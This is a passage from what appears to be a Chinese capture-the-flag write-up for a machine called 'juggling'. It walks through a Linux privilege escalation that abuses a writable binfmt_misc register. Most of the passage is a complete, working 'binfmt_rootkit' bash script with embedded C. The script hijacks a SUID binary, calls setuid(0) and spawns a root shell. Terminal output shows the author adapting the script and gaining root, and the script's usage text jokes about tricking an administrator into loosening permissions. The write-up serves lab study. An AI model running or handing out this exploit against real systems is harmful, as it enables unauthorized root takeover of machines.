		fprintf(stderr, "uid=%u(%s) euid=%u(%s)\\n",
			uid,
			pw->pw_name,
			euid,
			epw->pw_name);

		// welcome home
		char* sh[] = {"/bin/sh", (char*) 0};
		execvp(sh[0], sh);
		return 1;
	}
__EOF__

chmod a+x "$fmtinterpr"

binfmt_line="_${fmtname}_M__${binfmt_magic}__${fmtinterpr}_OC"
echo "$binfmt_line" > "$mountpoint"/register

exec "$target"

试试!

1
2
3
4
(remote) rehan@juggling:/tmp$ vim binfmt_rootkit
(remote) rehan@juggling:/tmp$ chmod +x binfmt_rootkit 
(remote) rehan@juggling:/tmp$ ./binfmt_rootkit 
Error: /proc/sys/fs/binfmt_misc/register is not writeable

还需要修改,删除检查行:

1
2
3
4
function not_writeable()
{
	test ! -w "$mountpoint/register"
}
1
not_writeable && die "Error: $mountpoint/register is not writeable"

再次运行:

1
2
(remote) rehan@juggling:/tmp$ ./binfmt_rootkit 
Error: /proc/sys/fs/binfmt_misc/register is not writeable

哦对了,还要修改一下路径:

1
echo "$binfmt_line" | /usr/local/bin/register

成品:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/bin/bash

readonly searchsuid="/bin/"
readonly mountpoint="/proc/sys/fs/binfmt_misc"
readonly exe="$0"


warn()
{
    1>&2 echo $@
}

die()
{
    warn $@
    exit -1
}

usage()
{
    cat 1>&2 <<EOF
Usage: $exe
    Gives you a root shell if /proc/sys/fs/binfmt_misc/register is writeable,
    note that it must be enforced by any other mean before your try this, for
    example by typing something like "sudo chmod +6 /*/*/f*/*/*r" while Dave is
    thinking that you are fixing his problem.
EOF
    exit 1
}

function pick_suid()
{
	find "$1" -perm -4000 -executable \
	    | tail -n 1
}

function read_magic()
{
    [[ -e "$1" ]] && \
    [[ "$2" =~ [[:digit:]]+ ]] && \
    dd if="$1" bs=1 count="$2" status=none \
        | sed -e 's-\x00-\\x00-g'
}

[[ -n "$1" ]] && usage

target="$(pick_suid "$searchsuid")"
test -e "$target" || die "Error: Unable to find a suid binary in $searchsuid"

binfmt_magic="$(read_magic "$target" "126")"
test -z "$binfmt_magic" && die "Error: Unable to retrieve a magic for $target"

fmtname="$(mktemp -u XXXX)"
fmtinterpr="$(mktemp)"

gcc -o "$fmtinterpr" -xc - <<- __EOF__
	#include <stdlib.h>
	#include <unistd.h>
	#include <stdio.h>
	#include <pwd.h>

	int main(int argc, char *argv[])
	{
		// remove our temporary file
		unlink("$fmtinterpr");

		// remove the unused binary format
		FILE* fmt = fopen("$mountpoint/$fmtname", "w");
		fprintf(fmt, "-1\\n");
		fclose(fmt);

		// MOTD
		setuid(0);
		uid_t uid = getuid();
		uid_t euid = geteuid();
		struct passwd *pw = getpwuid(uid);
		struct passwd *epw = getpwuid(euid);
		fprintf(stderr, "uid=%u(%s) euid=%u(%s)\\n",
			uid,
			pw->pw_name,
			euid,
			epw->pw_name);

		// welcome home
		char* sh[] = {"/bin/sh", (char*) 0};
		execvp(sh[0], sh);
		return 1;
	}
__EOF__

chmod a+x "$fmtinterpr"

binfmt_line="_${fmtname}_M__${binfmt_magic}__${fmtinterpr}_OC"
echo "$binfmt_line" | /usr/local/bin/register

exec "$target"

拿下root!!!

image-20240712142657712

参考

https://www.bilibili.com/video/BV17z421C7zW/

https://blog.csdn.net/xdeclearn/article/details/125968836

本文由作者按照 CC BY 4.0 进行授权